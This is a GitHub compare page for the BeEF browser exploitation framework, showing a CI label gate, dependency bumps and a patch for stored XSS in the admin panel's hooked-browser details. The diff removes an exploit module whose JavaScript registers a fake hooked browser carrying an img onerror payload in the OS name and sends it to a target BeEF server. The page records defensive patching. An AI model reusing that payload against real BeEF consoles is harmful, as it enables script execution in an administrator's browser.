Compare commits

...

9 Commits

Author SHA1 Message Date
zinduolis
997a2e0a9e Merge pull request #3521 from beefproject/red/safe_to_test_label
Implement safe_to_test label and update outdated github actions
2026-03-02 15:56:34 +10:00
zinduolis
8a400906ae Implement safe_to_test label and update outdated github actions in github_actions.yml 2026-03-02 15:38:36 +10:00
zinduolis
b36c502ec5 Merge pull request #3517 from beefproject/red/fix_xss
Patch XSS vulnerability
2026-03-02 14:26:20 +10:00
zinduolis
b98eff13e2 Merge branch 'master' into red/fix_xss 2026-03-02 14:10:04 +10:00
github-actions[bot]
56b32f5da6 Merge pull request #3519 from beefproject/dependabot/bundler/rubocop-1.85.0
Build(deps): bump rubocop from 1.84.2 to 1.85.0
2026-02-26 13:05:27 +00:00
dependabot[bot]
e5b227c049 Build(deps): bump rubocop from 1.84.2 to 1.85.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.2 to 1.85.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.84.2...v1.85.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.85.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-26 13:03:02 +00:00
zinduolis
7158f0fa44 Fix useless local assignments 2026-02-26 11:30:54 +10:00
zinduolis
70ec0de175 Fix Stored XSS in Browser Details and Core Filters 2026-02-26 11:20:30 +10:00
zinduolis
e3a668e258 sanitise PR to have just the fix 2026-02-25 15:19:47 +10:00
9 changed files with 70 additions and 225 deletions

View File

@@ -3,17 +3,28 @@ name: 'BrowserStack Test'
on: on:
pull_request_target: pull_request_target:
branches: [ master ] branches: [ master ]
types: [ labeled ]
jobs: jobs:
ubuntu-job: ubuntu-job:
name: 'BrowserStack Test on Ubuntu' name: 'BrowserStack Test on Ubuntu'
runs-on: ubuntu-latest # Can be self-hosted runner also runs-on: ubuntu-latest
environment: if: github.event.label.name == 'safe_to_test'
name: Integrate Pull Request
env: env:
GITACTIONS: true GITACTIONS: true
steps: steps:
- name: 'Remove safe_to_test label'
uses: actions/github-script@v8
with:
script: |
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
name: 'safe_to_test'
});
- name: 'BrowserStack Env Setup' # Invokes the setup-env action - name: 'BrowserStack Env Setup' # Invokes the setup-env action
uses: browserstack/github-actions/setup-env@master uses: browserstack/github-actions/setup-env@master
with: with:
@@ -27,7 +38,7 @@ jobs:
local-identifier: random local-identifier: random
- name: 'Checkout the repository' - name: 'Checkout the repository'
uses: actions/checkout@v4 uses: actions/checkout@v6
with: with:
ref: ${{ github.event.pull_request.head.sha }} ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 2 fetch-depth: 2
@@ -40,11 +51,13 @@ jobs:
run: | run: |
sudo apt update sudo apt update
sudo apt install libcurl4 libcurl4-openssl-dev sudo apt install libcurl4 libcurl4-openssl-dev
- name: 'Configure Bundle testing and install gems' - name: 'Configure Bundle testing and install gems'
run: | run: |
bundle config unset --local without bundle config unset --local without
bundle config set --local with 'test' 'development' bundle config set --local with 'test' 'development'
bundle install bundle install
- name: 'Run BrowserStack simple verification' - name: 'Run BrowserStack simple verification'
run: | run: |
bundle exec rake browserstack --trace bundle exec rake browserstack --trace

View File

@@ -24,7 +24,7 @@ gem 'rake', '~> 13.3'
gem 'activerecord', '~> 8.1' gem 'activerecord', '~> 8.1'
gem 'otr-activerecord', '~> 2.6.0' gem 'otr-activerecord', '~> 2.6.0'
gem 'sqlite3', '~> 2.9' gem 'sqlite3', '~> 2.9'
gem 'rubocop', '~> 1.84.2', require: false gem 'rubocop', '~> 1.85.0', require: false
# Geolocation support # Geolocation support
group :geoip do group :geoip do

View File

@@ -91,11 +91,16 @@ GEM
rdoc (>= 4.0.0) rdoc (>= 4.0.0)
reline (>= 0.4.2) reline (>= 0.4.2)
json (2.18.1) json (2.18.1)
json-schema (6.1.0)
addressable (~> 2.8)
bigdecimal (>= 3.1, < 5)
language_server-protocol (3.17.0.5) language_server-protocol (3.17.0.5)
lint_roller (1.1.0) lint_roller (1.1.0)
logger (1.7.0) logger (1.7.0)
matrix (0.4.3) matrix (0.4.3)
maxmind-db (1.4.0) maxmind-db (1.4.0)
mcp (0.7.1)
json-schema (>= 4.1)
method_source (1.1.0) method_source (1.1.0)
mime-types (3.7.0) mime-types (3.7.0)
logger logger
@@ -136,7 +141,7 @@ GEM
activerecord (>= 6.0, < 9.0) activerecord (>= 6.0, < 9.0)
parallel (1.27.0) parallel (1.27.0)
parseconfig (1.1.2) parseconfig (1.1.2)
parser (3.3.10.1) parser (3.3.10.2)
ast (~> 2.4.1) ast (~> 2.4.1)
racc racc
power_assert (2.0.5) power_assert (2.0.5)
@@ -199,10 +204,11 @@ GEM
diff-lcs (>= 1.2.0, < 2.0) diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0) rspec-support (~> 3.13.0)
rspec-support (3.13.6) rspec-support (3.13.6)
rubocop (1.84.2) rubocop (1.85.0)
json (~> 2.3) json (~> 2.3)
language_server-protocol (~> 3.17.0.2) language_server-protocol (~> 3.17.0.2)
lint_roller (~> 1.1.0) lint_roller (~> 1.1.0)
mcp (~> 0.6)
parallel (~> 1.10) parallel (~> 1.10)
parser (>= 3.3.0.2) parser (>= 3.3.0.2)
rainbow (>= 2.2.2, < 4.0) rainbow (>= 2.2.2, < 4.0)
@@ -339,7 +345,7 @@ DEPENDENCIES
rdoc (~> 7.2) rdoc (~> 7.2)
rest-client (~> 2.1.0) rest-client (~> 2.1.0)
rspec (~> 3.13) rspec (~> 3.13)
rubocop (~> 1.84.2) rubocop (~> 1.85.0)
rubyzip (~> 3.2) rubyzip (~> 3.2)
rushover (~> 0.3.0) rushover (~> 0.3.0)
selenium-webdriver (~> 4.41) selenium-webdriver (~> 4.41)

View File

@@ -187,7 +187,7 @@ module BeEF
def self.has_valid_browser_details_chars?(str) def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
!(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil? (str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
end end
# Check for valid base details characters # Check for valid base details characters

View File

@@ -11,7 +11,7 @@ module BeEF
def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if str.length > 2 return false if str.length > 2
return false if has_non_printable_char?(str) return false unless has_valid_browser_details_chars?(str)
true true
end end
@@ -21,7 +21,7 @@ module BeEF
# @return [Boolean] If the string has valid Operating System name characters # @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false unless has_valid_browser_details_chars?(str)
return false if str.length < 2 return false if str.length < 2
true true
@@ -32,7 +32,7 @@ module BeEF
# @return [Boolean] If the string has valid Hardware name characters # @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false unless has_valid_browser_details_chars?(str)
return false if str.length < 2 return false if str.length < 2
true true
@@ -71,7 +71,7 @@ module BeEF
# @return [Boolean] If the string has valid browser / ua string characters # @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false unless has_valid_browser_details_chars?(str)
return false if str.length > 300 return false if str.length > 300
true true
@@ -93,7 +93,7 @@ module BeEF
# @return [Boolean] If the string has valid system platform characters # @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false unless has_valid_browser_details_chars?(str)
return false if str.length > 200 return false if str.length > 200
true true

View File

@@ -44,7 +44,7 @@ module BeEF
# hooked window host name # hooked window host name
log_zombie_port = 0 log_zombie_port = 0
if !@data['results']['browser.window.hostname'].nil? if !@data['results']['browser.window.hostname'].nil? && BeEF::Filters.is_valid_hostname?(@data['results']['browser.window.hostname'])
log_zombie_domain = @data['results']['browser.window.hostname'] log_zombie_domain = @data['results']['browser.window.hostname']
elsif !@data['request'].referer.nil? and !@data['request'].referer.empty? elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
referer = @data['request'].referer referer = @data['request'].referer
@@ -59,7 +59,7 @@ module BeEF
end end
# hooked window host port # hooked window host port
if @data['results']['browser.window.hostport'].nil? if @data['results']['browser.window.hostport'].nil? || !BeEF::Filters.is_valid_port?(@data['results']['browser.window.hostport'].to_s)
log_zombie_domain_parts = log_zombie_domain.split(':') log_zombie_domain_parts = log_zombie_domain.split(':')
log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1 log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1
else else
@@ -92,6 +92,7 @@ module BeEF
BD.set(session_id, 'browser.name.friendly', browser_friendly_name) BD.set(session_id, 'browser.name.friendly', browser_friendly_name)
else else
err_msg "Invalid browser name returned from the hook browser's initial connection." err_msg "Invalid browser name returned from the hook browser's initial connection."
browser_name = 'Unknown'
end end
if BeEF::Filters.is_valid_ip?(zombie.ip) if BeEF::Filters.is_valid_ip?(zombie.ip)
@@ -242,11 +243,17 @@ module BeEF
X_FORWARDED X_FORWARDED
X_FORWARDED_FOR X_FORWARDED_FOR
].each do |header| ].each do |header|
proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil? val = JSON.parse(zombie.httpheaders)[header]
unless val.nil?
val.to_s.split(',').each do |ip|
proxy_clients << ip.strip if BeEF::Filters.is_valid_ip?(ip.strip)
end
end
end end
# retrieve proxy server # retrieve proxy server
proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil? proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?
proxy_server = nil unless proxy_server.nil? || BeEF::Filters.has_valid_browser_details_chars?(proxy_server)
# store and log proxy details # store and log proxy details
if using_proxy == true if using_proxy == true
@@ -273,6 +280,7 @@ module BeEF
BD.set(session_id, 'browser.version', browser_version) BD.set(session_id, 'browser.version', browser_version)
else else
err_msg "Invalid browser version returned from the hook browser's initial connection." err_msg "Invalid browser version returned from the hook browser's initial connection."
browser_version = 'Unknown'
end end
# get and store browser string # get and store browser string
@@ -293,7 +301,11 @@ module BeEF
# get and store browser language # get and store browser language
browser_lang = get_param(@data['results'], 'browser.language') browser_lang = get_param(@data['results'], 'browser.language')
BD.set(session_id, 'browser.language', browser_lang) if BeEF::Filters.has_valid_browser_details_chars?(browser_lang)
BD.set(session_id, 'browser.language', browser_lang)
else
err_msg "Invalid browser language returned from the hook browser's initial connection."
end
# get and store the cookies # get and store the cookies
cookies = get_param(@data['results'], 'browser.window.cookies') cookies = get_param(@data['results'], 'browser.window.cookies')
@@ -309,6 +321,7 @@ module BeEF
BD.set(session_id, 'host.os.name', os_name) BD.set(session_id, 'host.os.name', os_name)
else else
err_msg "Invalid operating system name returned from the hook browser's initial connection." err_msg "Invalid operating system name returned from the hook browser's initial connection."
os_name = 'Unknown'
end end
# get and store the OS family # get and store the OS family
@@ -322,15 +335,28 @@ module BeEF
# get and store the OS version # get and store the OS version
# - without checks as it can be very different, for instance on linux/bsd) # - without checks as it can be very different, for instance on linux/bsd)
os_version = get_param(@data['results'], 'host.os.version') os_version = get_param(@data['results'], 'host.os.version')
BD.set(session_id, 'host.os.version', os_version) if BeEF::Filters.has_valid_browser_details_chars?(os_version)
BD.set(session_id, 'host.os.version', os_version)
else
err_msg "Invalid operating system version returned from the hook browser's initial connection."
os_version = 'Unknown'
end
# get and store the OS arch - without checks # get and store the OS arch
os_arch = get_param(@data['results'], 'host.os.arch') os_arch = get_param(@data['results'], 'host.os.arch')
BD.set(session_id, 'host.os.arch', os_arch) if BeEF::Filters.has_valid_browser_details_chars?(os_arch)
BD.set(session_id, 'host.os.arch', os_arch)
else
err_msg "Invalid operating system architecture returned from the hook browser's initial connection."
end
# get and store default browser # get and store default browser
default_browser = get_param(@data['results'], 'host.software.defaultbrowser') default_browser = get_param(@data['results'], 'host.software.defaultbrowser')
BD.set(session_id, 'host.software.defaultbrowser', default_browser) if BeEF::Filters.has_valid_browser_details_chars?(default_browser)
BD.set(session_id, 'host.software.defaultbrowser', default_browser)
else
err_msg "Invalid default browser returned from the hook browser's initial connection."
end
# get and store the hardware type # get and store the hardware type
hw_type = get_param(@data['results'], 'hardware.type') hw_type = get_param(@data['results'], 'hardware.type')

View File

@@ -1,168 +0,0 @@
//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target_beef_url = "<%= @target_beef_url.to_s.gsub('"', '\\"') %>";
var xss_payload = "<%= @xss_payload.to_s.gsub('\\', '\\\\\\\\').gsub('"', '\\"').gsub("'", "\\\\'") %>";
// Generate a random session ID (80 characters, uppercase + digits)
function generateHookId() {
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
var result = '';
for (var i = 0; i < 80; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
// Get current timestamp in milliseconds
function ts() {
return Date.now();
}
// Split string into chunks
function chunkString(str, length) {
var chunks = [];
for (var i = 0; i < str.length; i += length) {
chunks.push(str.substring(i, i + length));
}
return chunks;
}
// Base64 encode (using browser's btoa)
function b64encode(str) {
return btoa(str);
}
var HOOK = generateHookId();
// Build the malicious payload - XSS is injected into host.os.name
// Note: the payload is wrapped in the img onerror handler
var malicious_os_name = "Linux<img src=x onError=" + xss_payload + ">";
var browser_data = [{
"cid": 0,
"results": {
"browser.window.cookies": "BEEFHOOK=" + HOOK,
"browser.name": "FFAA",
"browser.version": "146.0",
"browser.engine": "Gecko",
"browser.name.reported": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
"browser.platform": "Linux x86_64",
"browser.language": "en-US",
"browser.plugins": "PDF Viewer-v.undefined",
"browser.window.title": "Unknown",
"browser.window.origin": "http://exploited-host:8000",
"browser.window.hostname": "exploited-host",
"browser.window.hostport": "8000",
"browser.window.uri": "http://exploited-host:8000/victim.html",
"browser.window.referrer": "http://exploited-host:8000/victim.html",
"browser.window.size.width": 1678,
"browser.window.size.height": 168,
"browser.date.datestamp": "Fri Jan 16 2026 23:34:24 GMT+1000 (Australian Eastern Standard Time)",
"host.os.name": malicious_os_name,
"host.os.family": "Linux",
"host.os.arch": 64,
"host.software.defaultbrowser": "Unknown",
"hardware.type": "Unknown",
"hardware.memory": "unknown",
"hardware.gpu": "unknown",
"hardware.gpu.vendor": "unknown",
"hardware.cpu.arch": "x86_64",
"hardware.cpu.cores": 32,
"hardware.battery.chargingstatus": "unknown",
"hardware.battery.level": "unknown",
"hardware.battery.chargingtime": "unknown",
"hardware.battery.dischargingtime": "unknown",
"hardware.screen.size.width": 5120,
"hardware.screen.size.height": 2160,
"hardware.screen.colordepth": 24,
"hardware.screen.touchenabled": "No",
"browser.capabilities.vbscript": "No",
"browser.capabilities.flash": "No",
"browser.capabilities.silverlight": "No",
"browser.capabilities.phonegap": "No",
"browser.capabilities.websocket": "Yes",
"browser.capabilities.webrtc": "No",
"browser.capabilities.webworker": "Yes",
"browser.capabilities.webgl": "No",
"browser.capabilities.googlegears": "No",
"browser.capabilities.activex": "No",
"browser.capabilities.quicktime": "No",
"browser.capabilities.realplayer": "No",
"browser.capabilities.wmp": "No",
"browser.capabilities.vlc": "No",
"HookSessionID": HOOK
},
"status": 0,
"handler": "/init"
}];
var encoded_data = b64encode(JSON.stringify(browser_data));
var chunks = chunkString(encoded_data, 383);
beef.debug("[BeEF Admin Panel XSS] Sending malicious hook registration to: " + target_beef_url);
beef.debug("[BeEF Admin Panel XSS] Generated Hook ID: " + HOOK);
beef.debug("[BeEF Admin Panel XSS] Payload chunks: " + chunks.length);
var requests_sent = 0;
var requests_completed = 0;
var total_requests = (2 * chunks.length) + 2; // 2 rounds of chunks + hook.js + final dh
function checkComplete() {
if (requests_completed >= total_requests) {
beef.net.send("<%= @command_url %>", <%= @command_id %>,
"result=Exploit sent successfully. Fake browser registered with Hook ID: " + HOOK +
". XSS will trigger when admin hovers over the browser entry in the Hooked Browsers list.",
beef.are.status_success());
}
}
// Send chunks for session IDs 1 and 2
for (var sid = 1; sid <= 2; sid++) {
for (var idx = 0; idx < chunks.length; idx++) {
(function(s, i, chunk) {
var url = target_beef_url + "/dh?bh=" + HOOK + "&sid=" + s + "&pid=" + (i + 1) + "&pc=" + chunks.length + "&d=" + encodeURIComponent(chunk) + "&_=" + ts();
var img = new Image();
img.onload = img.onerror = function() {
requests_completed++;
checkComplete();
};
img.src = url;
requests_sent++;
})(sid, idx, chunks[idx]);
}
}
// Send hook.js request after a short delay
setTimeout(function() {
var hookUrl = target_beef_url + "/hook.js?BEEFHOOK=" + HOOK + "&_=" + ts();
var img2 = new Image();
img2.onload = img2.onerror = function() {
requests_completed++;
checkComplete();
};
img2.src = hookUrl;
requests_sent++;
// Send final dh request
setTimeout(function() {
var finalChunk = chunks[chunks.length - 1] || "";
var finalUrl = target_beef_url + "/dh?bh=" + HOOK + "&sid=3&pid=1&pc=1&d=" + encodeURIComponent(finalChunk) + "&_=" + ts();
var img3 = new Image();
img3.onload = img3.onerror = function() {
requests_completed++;
checkComplete();
};
img3.src = finalUrl;
requests_sent++;
}, 100);
}, 500);
beef.debug("[BeEF Admin Panel XSS] Initiated " + requests_sent + " requests");
});

View File

@@ -1,15 +0,0 @@
#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
beef_admin_panel_xss:
enable: true
category: "Exploits"
name: "BeEF Admin Panel XSS"
description: "This module exploits a Stored XSS vulnerability in the BeEF Admin Panel's Hooked Browsers tooltip. It registers a fake hooked browser with a malicious OS name containing JavaScript payload. When the BeEF administrator hovers over the fake browser entry, the XSS payload executes.<br/><br/>This can be used to test if a target BeEF instance is running a vulnerable version."
authors: ["author"]
target:
working: ["ALL"]

View File

@@ -1,17 +0,0 @@
#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Beef_admin_panel_xss < BeEF::Core::Command
def self.options
[
{ 'name' => 'target_beef_url', 'ui_label' => 'Target BeEF URL', 'value' => 'http://localhost:3000', 'width' => '300px' },
{ 'name' => 'xss_payload', 'ui_label' => 'XSS Payload (JavaScript)', 'value' => "alert(String.fromCharCode(88,83,83))", 'width' => '400px' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end